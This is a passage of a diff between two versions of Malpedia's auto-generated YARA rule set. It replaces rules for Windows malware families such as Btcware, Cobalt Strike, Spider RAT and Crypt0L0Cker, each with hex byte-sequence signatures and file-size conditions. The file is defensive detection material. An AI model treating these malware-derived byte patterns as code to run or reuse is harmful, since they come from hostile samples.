-		$sequence_8 = { 5e 81c494000000 c3 83f806 }
-		$sequence_9 = { f3aa 8bc6 5f 5e c3 }
+		$sequence_0 = { ff15???????? 3d1f040000 7505 bf01000000 }
+		$sequence_1 = { 740c 57 6a00 ffd3 50 ff15???????? 6a00 }
+		$sequence_2 = { 6a08 33ff 57 57 ff15???????? }
+		$sequence_3 = { 8bd8 ff15???????? 53 6a00 6a00 56 ff15???????? }
+		$sequence_4 = { 49 81c900ffffff 41 8a8138474000 }
+		$sequence_5 = { 8b1d???????? 83c40c 6820bf0200 56 ffd3 b900000800 2bc8 }
+		$sequence_6 = { c745dc01000000 e8???????? 6a44 8d4580 53 50 e8???????? }
+		$sequence_7 = { 7508 ff15???????? eb7b 6a04 }
+		$sequence_8 = { e8???????? 8b45f8 83c410 85c0 7408 50 6a00 }
+		$sequence_9 = { 8b4d0c 6a00 6880000000 6a02 }
 
 	condition:
-		7 of them and filesize <49152
+		7 of them and filesize <73728
 }
-rule MALPEDIA_Win_Btcware_Auto : FILE
+rule MALPEDIA_Win_Buterat_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "66d799b0-12ae-5de4-8213-c0d10e51387d"
+		id = "3e97b50a-971b-5a6b-945e-3e34fedb231a"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.btcware"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.btcware_auto.yar#L1-L125"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.buterat"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.buterat_auto.yar#L1-L129"
 		license_url = "N/A"
-		logic_hash = "150a811146243acd5ee4c0630508ee4be9bafcd2cf3745d9f46eb9848c5a7f93"
+		logic_hash = "eb64ab06f54c3ecee14053c6efd01e298ad3b6ab4366443760576f0899003a4d"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -158342,32 +165289,32 @@ rule MALPEDIA_Win_Btcware_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 53 ff15???????? 8b4524 83f810 7242 8b4d10 }
-		$sequence_1 = { c7404818c14100 8b4508 6689486c 8b4508 66898872010000 8d4dff 8b4508 }
-		$sequence_2 = { 33c5 8945fc 8b450c 56 8b7508 680a010000 }
-		$sequence_3 = { 33c0 85ff 7e18 0fb78c4490020000 663bce 7406 66894c5440 }
-		$sequence_4 = { 50 8d44241c 50 ff74241c ff15???????? 85c0 7446 }
-		$sequence_5 = { 33db 895610 c746140f000000 8975d4 8955e4 }
-		$sequence_6 = { 8d85f8efffff 50 ffd7 85c0 0f84ac000000 8d85f4efffff }
-		$sequence_7 = { 85c0 0f84ac000000 8d85f4efffff 50 }
-		$sequence_8 = { 6800010000 8d85fcfcffff 50 68???????? ff15???????? 8b35???????? }
-		$sequence_9 = { 8d85e0efffff 50 6a00 6800800000 ffb5f0efffff 8d85fcefffff 50 }
+		$sequence_0 = { 56 8d4dfc 51 57 50 53 }
+		$sequence_1 = { 750a 56 6a07 e8???????? 59 59 ff750c }
+		$sequence_2 = { ff15???????? 8b5d75 53 33c0 e8???????? 85c0 59 }
+		$sequence_3 = { 56 57 33f6 e8???????? 85c0 59 0f868b000000 }
+		$sequence_4 = { 750b e8???????? 99 f77dfc 8bda 837d6806 }
+		$sequence_5 = { 8d8564dfffff 50 8bc3 e8???????? 83c40c ff75f4 ffd7 }
+		$sequence_6 = { 8bec b800100000 e8???????? 8b4d08 }
+		$sequence_7 = { e8???????? 83c40c 85c0 0f8424010000 68???????? 53 68???????? }
+		$sequence_8 = { 41 41 47 3b7d0c 72cd 5b 33c0 }
+		$sequence_9 = { 33db 385d1c 56 57 895df0 750d 8a4518 }
 
 	condition:
-		7 of them and filesize <458752
+		7 of them and filesize <278528
 }
-rule MALPEDIA_Win_Starcruft_Auto : FILE
+rule MALPEDIA_Win_Darkcloud_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "1dcafb43-c4d2-514a-8438-617d875e41e7"
+		id = "b0268fec-89c8-5323-9f85-c9d45089af7c"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.starcruft"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.starcruft_auto.yar#L1-L131"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkcloud"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.darkcloud_auto.yar#L1-L133"
 		license_url = "N/A"
-		logic_hash = "ba9170fb6918e14feeea6fab09146b237b88c2d2d12a4f68164b770922d2ddd1"
+		logic_hash = "500bafad0751f0834ef38cd2423929e4bf071aa68fdd5512e97c403f17f02fd3"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -158381,32 +165328,71 @@ rule MALPEDIA_Win_Starcruft_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 83bd34fbffff00 7458 0fb64d34 85c9 7419 8b95b4fcffff 899558fbffff }
-		$sequence_1 = { ebbd c7852cfeffff01000000 83bd2cfeffff00 7565 8b4508 898524feffff c78520feffff00000000 }
-		$sequence_2 = { 884def 8b55f0 83c202 8955f0 8b45f0 8945f8 eb09 }
-		$sequence_3 = { 8b55f8 8b85ccfeffff 8b0c90 0fb711 85d2 740b 8b45f8 }
-		$sequence_4 = { 55 8bec 81ec20010000 a1???????? 33c5 8945e4 8b4508 }
-		$sequence_5 = { c685cafcffff26 c685cbfcffffa1 c685ccfcffff8b c685cdfcffff52 c685cefcffff6c c685cffcffffba c685d0fcffffde }
-		$sequence_6 = { 8b4dd4 8908 8b5510 8b02 50 8d4dd8 51 }
-		$sequence_7 = { 8b4dcc 51 e8???????? 83c404 8945f0 8955f4 8b55d0 }
-		$sequence_8 = { e8???????? 83c404 33c0 e9???????? 8b45fc }
-		$sequence_9 = { e8???????? e8???????? c705????????04c02e00 c705????????08c02e00 c705????????0cc12e00 c705????????10c12e00 }
+		$sequence_0 = { 83c414 8d4db0 ff15???????? c745fc23000000 8b4d08 894da8 }
+		$sequence_1 = { 894598 894db0 8945a8 894dc0 8945b8 ff15???????? 50 }
+		$sequence_2 = { 6a00 51 8bf0 ff15???????? 50 56 6a00 }
+		$sequence_3 = { 8d8d68ffffff 51 ff15???????? c745fc06000000 ba???????? 8d4dcc ff15???????? }
+		$sequence_4 = { 8d855cffffff 8d8df8feffff 50 8d954cffffff 51 52 c7851cffffff08000000 }
+		$sequence_5 = { 668b55dc 663b954cffffff 0f8ff4000000 c745fc0c000000 8d45dc 894584 c7857cffffff02400000 }
+		$sequence_6 = { ff15???????? 8bd0 8d8df0feffff ff15???????? 50 8b559c 52 }
+		$sequence_7 = { 668b00 8975dc 662d0100 8975cc 0f80e4000000 8975ac 894584 }
+		$sequence_8 = { 50 8d4d94 51 e8???????? 8bd0 8d4d84 ff15???????? }
+		$sequence_9 = { ff15???????? 8bd0 8d4da8 ff15???????? 8d5588 52 8d458c }
+
+	condition:
+		7 of them and filesize <622592
+}
+rule MALPEDIA_Win_Spider_Rat_Auto : FILE
+{
+	meta:
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "8b8fb932-c9c0-5d1a-a1ff-94b4f85b8abe"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.spider_rat"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.spider_rat_auto.yar#L1-L132"
+		license_url = "N/A"
+		logic_hash = "86dc62debebef6e9c395034c4368c0804fc586029188907fa2c1533f611f9771"
+		score = 75
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
+
+	strings:
+		$sequence_0 = { e9???????? 4883c708 488b1f 488bd3 488d8c2490000000 e8???????? }
+		$sequence_1 = { 418bc3 4c8d5c2460 498b5b18 498b7328 498be3 5f c3 }
+		$sequence_2 = { 488b6c2438 488b742440 8958f0 488b07 4863cb 488b5c2430 c6040100 }
+		$sequence_3 = { e8???????? 488b4d70 4883c160 ff15???????? 90 488d05b726fbff eb00 }
+		$sequence_4 = { 84c0 7471 4885f6 7505 83fd01 7415 488b8f88000000 }
+		$sequence_5 = { 7458 6683fa01 7452 ff15???????? 4c8bc6 8bd5 0fb7cb }
+		$sequence_6 = { 7410 488b8f88000000 e8???????? 85c0 7802 33db 8bc3 }
+		$sequence_7 = { 498bd8 488bf2 488bf9 4d85c0 7430 4885d2 742b }
+		$sequence_8 = { ff15???????? 488bc8 e8???????? 488d15d3b00300 488bce 488905???????? ff15???????? }
+		$sequence_9 = { ba03000000 488d442440 448d4a61 448d42fe 4889442420 e8???????? }
 
 	condition:
-		7 of them and filesize <294912
+		7 of them and filesize <1107968
 }
-rule MALPEDIA_Win_Cova_Auto : FILE
+rule MALPEDIA_Win_Zitmo_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "0c88fb7f-6fc3-555b-938b-30689bfedd71"
+		id = "f6f59970-f923-5e51-84d0-3f8e29574b3c"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cova"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cova_auto.yar#L1-L113"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zitmo"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.zitmo_auto.yar#L1-L119"
 		license_url = "N/A"
-		logic_hash = "5acada90a087ad54806fe6fafb57fbcd69c3ce6e348c87bed79cabfe21474d32"
+		logic_hash = "a3b8b6f5916a461447d9c48219b755dccd1a5d708dba30f1dbbe42f800df788f"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -158420,32 +165406,32 @@ rule MALPEDIA_Win_Cova_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b430c 8905???????? 8bd7 4c8d0558bbffff }
-		$sequence_1 = { eb7c 4c8d258e800000 488b0d???????? eb6c }
-		$sequence_2 = { 4881c354020000 83fe06 7298 488d8d70040000 baf80d0000 }
-		$sequence_3 = { 3d80000000 751d 4c8be6 448bfe 4839742450 7419 ff5500 }
-		$sequence_4 = { 4863ca 0fb7444b10 664189844898c90000 ffc2 }
-		$sequence_5 = { 488b0d???????? e9???????? 4c8d25a6800000 488b0d???????? }
-		$sequence_6 = { eb06 8d4257 418800 ffc2 49ffc0 83fa10 }
-		$sequence_7 = { e8???????? 482be0 488b05???????? 4833c4 48898510170000 488dbde0000000 }
-		$sequence_8 = { ff15???????? 488d1574260000 488bce 488905???????? ff15???????? }
-		$sequence_9 = { 41bc14030000 4c8d0520320000 488bcd 418bd4 }
+		$sequence_0 = { 03d7 8bde f7de ffb544feffff 53 e8???????? c9 }
+		$sequence_1 = { 55 8bec 81c47cffffff 317588 f7d7 f7df }
+		$sequence_2 = { 23d0 f7d9 8bd6 23d8 }
+		$sequence_3 = { c20400 55 8bec 81c410ffffff }
+		$sequence_4 = { 55 8bec 81c45cffffff 23cb 8bd6 f7d2 }
+		$sequence_5 = { 314dd8 f7d9 48 f7d2 03c1 ffb504ffffff }
+		$sequence_6 = { 4a f7d9 23c6 8bcb 46 }
+		$sequence_7 = { 4f e8???????? 8bca 03f7 e8???????? 23d7 }
+		$sequence_8 = { 81856cffffff36360000 03df f7d1 8bf8 }
+		$sequence_9 = { 6a36 6a36 51 ffb550feffff 6834340000 57 8d4d88 }
 
 	condition:
-		7 of them and filesize <123904
+		7 of them and filesize <843776
 }
-rule MALPEDIA_Win_Cobalt_Strike_Auto : FILE
+rule MALPEDIA_Win_Concealment_Troy_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "fe16365e-18f7-5cb3-91e7-4778fbcc5b82"
+		id = "e9475a7d-b707-5e2f-9e3a-86f91b19814e"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cobalt_strike"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cobalt_strike_auto.yar#L1-L157"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.concealment_troy"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.concealment_troy_auto.yar#L1-L126"
 		license_url = "N/A"
-		logic_hash = "e575d34f1fe7007aa1601e291288f1136cef68df0b3f455e03eabc3d825e94fe"
+		logic_hash = "b699251c533e7fec5531f5ef6172ec9300c9329b32d1137bef102f716d43b763"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -158459,38 +165445,32 @@ rule MALPEDIA_Win_Cobalt_Strike_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 3bc7 750d ff15???????? 3d33270000 }
-		$sequence_1 = { e9???????? eb0a b801000000 e9???????? }
-		$sequence_2 = { eb06 0fb6c0 83e07f 85c0 745a }
-		$sequence_3 = { eb68 8b45d4 8b482c 894de0 8b45e0 }
-		$sequence_4 = { ff35???????? ffd6 5e e9???????? 55 }
-		$sequence_5 = { eb4e 83f824 7f09 c745f403000000 }
-		$sequence_6 = { ff761c 83c004 e8???????? 59 59 83f8ff }
-		$sequence_7 = { f3a6 744c 8bf0 6a03 bf???????? 59 }
-		$sequence_8 = { 85c0 741d ff15???????? 85c0 7513 }
-		$sequence_9 = { e9???????? 833d????????01 7505 e8???????? }
-		$sequence_10 = { 8bd0 e8???????? 85c0 7e0e }
-		$sequence_11 = { 85c0 7405 e8???????? 8b0d???????? 85c9 }
-		$sequence_12 = { f3c3 cc 488bc4 48895808 48896810 48897018 }
-		$sequence_13 = { c1e903 ffc1 03c1 3d80000000 }
-		$sequence_14 = { 49ffc7 413bcc 72e9 41894d00 }
-		$sequence_15 = { 48895c2448 48895c2440 4889442438 498b06 }
+		$sequence_0 = { 6a00 6a04 6a00 6aff ff15???????? e8???????? 50 }
+		$sequence_1 = { 56 57 b900000000 8b7508 0fb68600010000 0fb69e01010000 33d2 }
+		$sequence_2 = { 894d80 c7458410000000 33c0 88440590 40 3d00010000 }
+		$sequence_3 = { 50 8d8c2438050000 51 e8???????? 8d942434030000 }
+		$sequence_4 = { 75f6 80bc242001000022 0f854e040000 6808020000 8d942434090000 }
+		$sequence_5 = { 51 e8???????? 8bf0 83c408 85f6 7523 }
+		$sequence_6 = { e8???????? 8d8c243c030000 68???????? 51 e8???????? }
+		$sequence_7 = { 50 ffd5 bb???????? 8bf8 e8???????? 8b35???????? 50 }
+		$sequence_8 = { 55 8bec 83e4f8 b834130000 e8???????? a1???????? 33c4 }
+		$sequence_9 = { 8b1495a0774100 c1e006 8d440224 802080 884dfd 8065fd48 884dff }
 
 	condition:
-		7 of them and filesize <1015808
+		7 of them and filesize <229376
 }
-rule MALPEDIA_Win_Opachki_Auto : FILE
+rule MALPEDIA_Win_Lockfile_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "19945598-3be8-57e4-97f5-8518d611bbed"
+		id = "544691b3-5a18-5d07-a020-f938e5dff9ba"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.opachki"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.opachki_auto.yar#L1-L168"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lockfile"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.lockfile_auto.yar#L1-L132"
 		license_url = "N/A"
-		logic_hash = "5313082ce77d197fd4bac8aec4c18a74cf4695d26acd8d2a84b13e24f5666e1a"
+		logic_hash = "dc414bc646e8b114a7dca14d5155afbe9c4203cc45e95fbd463e125e3eb42e08"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -158504,38 +165484,32 @@ rule MALPEDIA_Win_Opachki_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { c3 55 8bec 81ec00010000 ff7508 }
-		$sequence_1 = { 83c40c 8b4f04 8d0433 894708 c6040800 }
-		$sequence_2 = { 83c8ff 5f 5b 5e c9 c20800 8bc3 }
-		$sequence_3 = { 741c 8d4dd4 51 8d4df4 51 8d4dec }
-		$sequence_4 = { 885dfc e8???????? ff75e8 8d45f4 }
-		$sequence_5 = { ff7510 ff75fc ff15???????? 85c0 75e2 }
-		$sequence_6 = { 8b4608 8b4e04 c6040800 5f 8bc6 5e }
-		$sequence_7 = { 8bd8 7413 8b4704 03c8 53 }
-		$sequence_8 = { 8a0f 894508 84c9 744d 8a10 53 56 }
-		$sequence_9 = { c0e805 88470a 3c01 ac 7710 80fff6 7503 }
-		$sequence_10 = { aa 8944241c 61 c3 898389838983 898389838983 }
-		$sequence_11 = { f6c140 7412 08d2 7408 }
-		$sequence_12 = { 884707 83c140 eb0a 3ca0 7206 3ca3 }
-		$sequence_13 = { 7404 3c65 7505 884703 ebcc }
-		$sequence_14 = { f3aa 83ef25 8b742424 ac }
-		$sequence_15 = { 898389838983 898389838585 858585858585 878593859a9a }
+		$sequence_0 = { 418bdc 33d9 8bcb 4123cf 4133cc 03d1 8955bb }
+		$sequence_1 = { 488b4b58 49894a48 488b5360 49895250 48837b6010 7731 41c6424101 }
+		$sequence_2 = { 488bf1 33d2 e8???????? 33d2 48895618 48895620 }
+		$sequence_3 = { e9???????? 4c8d4c245c 4c8d4570 488d15b31e0600 488d8d70020000 e8???????? 488d8d70020000 }
+		$sequence_4 = { 85c0 7411 836530fe 488b4d38 4883c178 e8???????? }
+		$sequence_5 = { 57 4883ec20 8bfa 488bd9 488b4908 4885c9 740b }
+		$sequence_6 = { 0f845c010000 83792801 0f8552010000 e8???????? 8bd8 483bde 480f42de }
+		$sequence_7 = { 0f84a5000000 488b0d???????? 488b15???????? 4c3bc1 750d 488bc1 48d1e8 }
+		$sequence_8 = { 41c1c802 4123cb 418bd1 0bc8 c1c205 03cd 418bc0 }
+		$sequence_9 = { 88458c 8b4580 0409 3465 88458d 8b4580 040a }
 
 	condition:
-		7 of them and filesize <122880
+		7 of them and filesize <1163264
 }
-rule MALPEDIA_Win_Taidoor_Auto : FILE
+rule MALPEDIA_Win_Turian_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "ede5ce97-d13f-50cf-a7ae-7678b51deb4c"
+		id = "ddf0a4a2-a5a9-518b-8b9f-2682f3c9390d"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.taidoor"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.taidoor_auto.yar#L1-L125"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.turian"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.turian_auto.yar#L1-L126"
 		license_url = "N/A"
-		logic_hash = "9a08978fbb3ba0f91c4ac24abe796c18c68bd8ea90cbb67ac44eb5676631b436"
+		logic_hash = "9c66c121bddd393e74452e6591ffaf152302a762e1679695f5fb6277ed317972"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -158549,32 +165523,32 @@ rule MALPEDIA_Win_Taidoor_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 7cf5 c745fcfcffffff 33ff 33db }
-		$sequence_1 = { f775fc 8bf2 8d04f6 ffb485f4b7ffff ff15???????? 85c0 }
-		$sequence_2 = { 59 8d85a0fdffff 59 50 e8???????? }
-		$sequence_3 = { 57 a0???????? c745fc01000000 8ac8 f6d9 1bc9 33db }
-		$sequence_4 = { 66ab aa 895dfc ffd6 40 85c0 7e29 }
-		$sequence_5 = { b940420f00 f7f9 8d45e0 52 ff35???????? ff35???????? }
-		$sequence_6 = { ff75f0 ffd6 8d4d08 885dfc e8???????? 834dfcff 8d4d10 }
-		$sequence_7 = { ff75ec 8d4df0 e8???????? 8b450c 46 3b70f8 7cdc }
-		$sequence_8 = { e8???????? ff75ec 8d85a0fdffff 50 51 8bcc 8965f4 }
-		$sequence_9 = { bf80020000 57 c745fc01000000 ffd3 8bf0 }
+		$sequence_0 = { 50 ff15???????? 89450c 8bf8 33c0 }
+		$sequence_1 = { e8???????? 83c404 85c0 740d 8d4c2410 51 }
+		$sequence_2 = { ffd7 8b3d???????? 53 ffd7 56 ffd7 83c408 }
+		$sequence_3 = { 81ec88000000 53 55 56 57 b921000000 33c0 }
+		$sequence_4 = { 85c0 750a 5f 5e 5d 81c49c000000 c3 }
+		$sequence_5 = { 729b 53 ff15???????? 83c404 a1???????? 85c0 750f }
+		$sequence_6 = { 72ba 68???????? ff15???????? 5f 5e 5d 83c8ff }
+		$sequence_7 = { 66a3???????? 5b c3 6a3f 50 }
+		$sequence_8 = { 7403 c60000 68???????? 56 ffd7 85c0 }
+		$sequence_9 = { ffd5 85c0 750e 8d4f46 8d5642 }
 
 	condition:
-		7 of them and filesize <49152
+		7 of them and filesize <645120
 }
-rule MALPEDIA_Win_Victorygate_Auto : FILE
+rule MALPEDIA_Win_Cuegoe_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "992c5b2e-f41c-5577-b26b-d319a12e38e1"
+		id = "eccb0436-f9ed-5e03-8d27-4464cf8de9a1"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.victorygate"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.victorygate_auto.yar#L1-L132"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cuegoe"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cuegoe_auto.yar#L1-L129"
 		license_url = "N/A"
-		logic_hash = "ea38784ac607c199e10f70edff21cb5ba2438f5fbaa9d25c8260862ff3bec34e"
+		logic_hash = "9bdbb34dedb6d213b915fa268b74e0986ed09811af8e7637c05b65b2310f3a18"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -158588,32 +165562,32 @@ rule MALPEDIA_Win_Victorygate_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 7214 8b49fc 83c223 2bc1 83c0fc 83f81f 0f879a120000 }
-		$sequence_1 = { 8bce c645fc08 e8???????? c645fc01 8b55e8 83fa10 7228 }
-		$sequence_2 = { 8bf8 893b 897b04 03cf 33c0 894b08 eb03 }
-		$sequence_3 = { ff15???????? 85c0 0f8593010000 ff75f8 8d8678020000 6a57 50 }
-		$sequence_4 = { e9???????? 3b0d???????? 7501 c3 e9???????? 55 8bec }
-		$sequence_5 = { 0f8537050000 ff75f8 8d8630020000 6a32 50 }
-		$sequence_6 = { 85c0 7537 b901000000 f00fb10f 85c0 7533 817e340c2b0000 }
-		$sequence_7 = { 8b4128 8b7124 8945b8 3bf0 7436 660f1f440000 8b06 }
-		$sequence_8 = { 57 8b00 8945c4 663908 0f8548060000 8b703c 03f0 }
-		$sequence_9 = { c745fc19000000 83ec18 8b4de0 8bc4 896584 c70000000000 c7401000000000 }
+		$sequence_0 = { 397d68 7409 ff7568 e8???????? 59 6a57 5e }
+		$sequence_1 = { 50 895de4 e8???????? 837d2808 8b4514 }
+		$sequence_2 = { 0f8390feffff 8b0488 0fb6c8 894538 c16d3808 894d3c }
+		$sequence_3 = { 6a00 50 e8???????? 83c40c 33c0 89442410 e9???????? }
+		$sequence_4 = { 6a0a 8d45e8 8975e4 e8???????? 8d5dd0 e8???????? }
+		$sequence_5 = { 50 e8???????? 8d4570 50 ff750c 8d85d0030000 56 }
+		$sequence_6 = { 69c0a0860100 8a563c c7460c01000000 885608 89442410 3bd8 0f8387050000 }
+		$sequence_7 = { 8b0488 0fb6c8 894538 c16d3808 894d3c 899d40040000 8b15???????? }
+		$sequence_8 = { 8d858c000000 50 8d8574ffffff 6a4c 50 e8???????? 59 }
+		$sequence_9 = { 0f94c1 888c286c0d0000 03c7 89442410 837c241010 0f8c7affffff }
 
 	condition:
-		7 of them and filesize <1209344
+		7 of them and filesize <540672
 }
-rule MALPEDIA_Win_Former_First_Rat_Auto : FILE
+rule MALPEDIA_Win_Purplewave_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "e13a8bc3-e4cb-54c7-a2c1-b71b74a37c2c"
+		id = "bc61a32f-ee96-5e25-892f-9d381408f659"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.former_first_rat"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.former_first_rat_auto.yar#L1-L167"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.purplewave"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.purplewave_auto.yar#L1-L133"
 		license_url = "N/A"
-		logic_hash = "79676675a5e0c5d1eb84217b80928525157e507544e18d7d0452685a540a1268"
+		logic_hash = "5efe0dc0002836bd228e34e2c06d2e0edc1c85c62aac77610517f67f8f987125"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -158627,38 +165601,32 @@ rule MALPEDIA_Win_Former_First_Rat_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 899424ec030000 898c24e8030000 8b4f10 8d9424e8030000 6a00 52 898424f8030000 }
-		$sequence_1 = { 894c240c 8bd3 3bc1 7420 8d642400 8bf0 }
-		$sequence_2 = { 52 bb1c000000 8d742428 894c245c c744246000000000 }
-		$sequence_3 = { e8???????? 8b8d0cffffff 68???????? 51 e8???????? }
-		$sequence_4 = { ff15???????? 33c0 66833d????????09 0f94c0 a3???????? 6808020000 }
-		$sequence_5 = { c785e8feffff0f000000 899decfeffff 899df0feffff 899d04ffffff 899df4feffff }
-		$sequence_6 = { e8???????? 8d8de0feffff 51 bb08000000 e8???????? 8b9df8feffff 57 }
-		$sequence_7 = { 8bf2 8bfb 81c208020000 b982000000 81c308020000 f3a5 3bd0 }
-		$sequence_8 = { 48897c2428 488d05169b0200 488907 488d4f08 e8???????? }
-		$sequence_9 = { 480f42db 4883792010 7206 488b4908 eb04 }
-		$sequence_10 = { 48837e2008 7209 488b4e08 e8???????? 488d4608 }
-		$sequence_11 = { 48895c2468 0f28442450 660f7f442450 0f284c2460 660f7f4c2460 }
-		$sequence_12 = { 48896c2460 40886c2450 488bcb e8???????? }
-		$sequence_13 = { 488d4754 48894760 48832100 488b4748 48832000 }
-		$sequence_14 = { 90 48017e20 488b7620 4881c670ffffff }
-		$sequence_15 = { 488b7968 488d0532800200 8bf2 488bd9 }
+		$sequence_0 = { e8???????? 8d4da4 c645fc12 e8???????? 84db 0f84ca020000 6a40 }
+		$sequence_1 = { 0f8415000000 81a53cffffffffbfffff 8d8da8feffff e9???????? c3 8d8d60feffff e9???????? }
+		$sequence_2 = { 8d8c2468010000 e8???????? 6a0d e8???????? 59 56 8bd0 }
+		$sequence_3 = { 6bc838 57 8b0495201e4900 8a440828 a848 757b 84c0 }
+		$sequence_4 = { 8d4dbc e8???????? 8d4dd4 e8???????? 8bc3 e8???????? c20c00 }
+		$sequence_5 = { b8???????? e8???????? 8bf9 8db78c000000 8bce e8???????? 84c0 }
+		$sequence_6 = { 53 50 e8???????? 83c40c 8d8db8feffff e8???????? 8d95b8feffff }
+		$sequence_7 = { 53 68???????? 50 ff5110 ff758c ffd6 50 }
+		$sequence_8 = { 0f85d3000000 8d45e8 50 8b06 8b08 83c128 }
+		$sequence_9 = { 84c0 750e 8d45d8 50 8d4e6c e8???????? eb49 }
 
 	condition:
-		7 of them and filesize <626688
+		7 of them and filesize <1400832
 }
-rule MALPEDIA_Win_Lilith_Auto : FILE
+rule MALPEDIA_Win_Crypt0L0Cker_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
